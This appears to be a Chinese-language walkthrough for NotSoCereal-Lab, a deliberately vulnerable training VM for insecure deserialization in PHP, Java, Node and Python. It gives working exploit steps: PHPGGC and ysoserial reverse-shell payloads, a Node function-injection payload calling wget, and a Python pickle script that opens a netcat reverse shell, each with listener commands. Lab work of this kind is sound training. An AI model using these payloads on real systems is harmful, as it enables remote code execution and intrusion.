项目介绍
反序列化问题是信息安全的最新趋势,它们因臭名昭著的Java反序列化错误而声名鹊起,然而这些问题不仅仅局限于一种语言,序列化和反序列化是几乎所有现代编程语言中执行的常见操作,尽管这些问题臭名昭著,但却严重缺乏磨练你这方面技能的平台,于是NotSoCereal-Lab孕育而生,它是一个反序列化平台,用于训练你的反序列化操作能力,目前已经创建了支持以下语言的环境:
-
Java
-
PHP
-
Python
-
Node
项目地址
项目地址:https://github.com/NotSoSecure/NotSoCereal-Lab
靶机部署
靶机下载:https://binary.notsosecure.com/NotSoCereal_2022.ova
Step 1:下载OVA文件,并尝试使用“文件->导入设备”选项将其导入
Step 2:选择下载的OVA文件“NotSoCereal _ v1.0.ova”的路径
Step 3:观察\\”描述\\”中的凭证,然后单击导入按钮
Step 4:成功导入
Step 5:点击\\”开始\\”按钮启动NotSoCereal虚拟机
Step 6:虚拟机将启动并要求凭据
Step 7:输入在步骤3中捕获的凭据,并执行以下命令来启动易受攻击的应用程序的docker
cd docker
./start.sh
Step 8:捕获\\”eth0\\”接口分配的IP地址
Step 9:使用IP地址访问应用程序
靶机实战
PHP反序列化
Step 1:点击\\”PHP Website:16664\\”
Step 2:提供必要的信息并点击\\”提交\\”按钮
Step 3:在Burp Suite代理中捕获请求,并观察\\”csrftoken\\”参数包含Base64数据
Step 4:使用Base64解码该值,并标识序列化数据
Step 5:将步骤3中捕获的请求发送到repeat模块
Step 6:从以下位置下载PHPGGC实用程序并生成序列化的有效负载,并捕获生成的有效负载
https://github.com/ambionics/phpggc
./phpggc -b slim/rce1 system id
Step 7:将步骤5中捕获的请求的参数\\”csrftoken\\”中使用步骤6中生成的有效负载替换,并发送请求
Step 8:使用以下命令启动监听器
nc -nlvp 6666
Step 9:使用以下命令捕获系统IP地址,并使用该地址生成反向shell的有效负载,并捕获有效负载
./phpggc -b slim/rce1 system \\\"nc 192.168.29.88 6666 -e /bin/sh\\\"
Step 10:替换有效载荷
Step 11:之后成功收到返回的会话
JAVA反序列化
Step 1:点击\\”Java Website: 16661\\”链接
Step 2:提供以下凭证并勾选\\”记住我\\”选项,然后单击\\”提交\\”按钮
Username: admin
Password: password
Step 3:之后使用Burpsuite抓包并发送请Repeat模块
Step 4:之后发送请求数据包,可以看到响应中具有以\\”rO0\\”开头的Java序列化神奇字符串
Step 5:使用Base64解码后观察它的序列化值
Step 6:转发步骤3中捕获的请求,并单击\\”登录\\”按钮
Step 7:从以下位置下载YSoSerial实用程序,并使用以下命令检查可用的有效负载
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar
Step 8:使用以下命令捕获IP地址并使用它来生成反向shell有效负载,并捕获生成的有效负载
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 \\\"nc 192.168.29.88 4444 -e /bin/bash\\\" | base64 -w 0
Step 9:使用以下命令启动监听
nc -nlvp 4444
Step 10:在\\”RememberMe\\”参数中替换步骤8中生成的有效负载,并单击\\”send\\”按钮向服务器发送请求
Step 10:之后接收到反弹的shell
Node反序列化
Step 1:点击\\”Node Website: 16663\\”链接
Step 2:填写表单信息并提交
Step 3:捕获通信数据包
Step 4:观察CSRFToken
Step 5:发送请求到repeat模块
Step 6:使用以下信息创建node.js序列化负载
{\\\"rce\\\":\\\"_$$ND_FUNC$$_function (){\\\\n \\\\t require(\\\'child_process\\\').exec(\\\'wget http://192.168.X.206:9999/test /\\\',function(error, stdout, stderr) {console.log(stdout) });\\\\n }()\\\"}
Step 7:开启一个监听
Step 8:替换载荷并重新发行请求
Step 9:之后成功接收到反弹的shell
Python反序列化
Step 1:点击\\”Python: Connect over TCP Socket: 16662\\”
Step 2:访问地址
Step 3:开启本地监听
nc -nlvp 5555
Step 4:之后使用以下脚本生成载荷
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
import sys
if len(sys.argv) < 5:
print \\\"Usage: python py_exploit.py <attacker_ip_address> <attacker_port> <docker_ip_address> <docker_port>\\\"
sys.exit(1)
localIP=sys.argv[1]
localPort=sys.argv[2]
dockerIP=sys.argv[3]
dockerPort=sys.argv[4]
class payload(object):
def __reduce__(self):
comm = \\\"rm /tmp/shell; mknod /tmp/shell p; nc \\\"+localIP+\\\" \\\"+localPort+\\\" 0</tmp/shell | /bin/sh 1>/tmp/shell\\\"
return (os.system, (comm,))
payload = pickle.dumps( payload())
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((dockerIP, int(dockerPort)))
print soc.recv(1024)
soc.send(payload)
Step 5:执行脚本
python py_exploit.py 192.168.29.88 5555 192.168.29.201 16662
Step 6:之后收到反弹的shell
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34368.html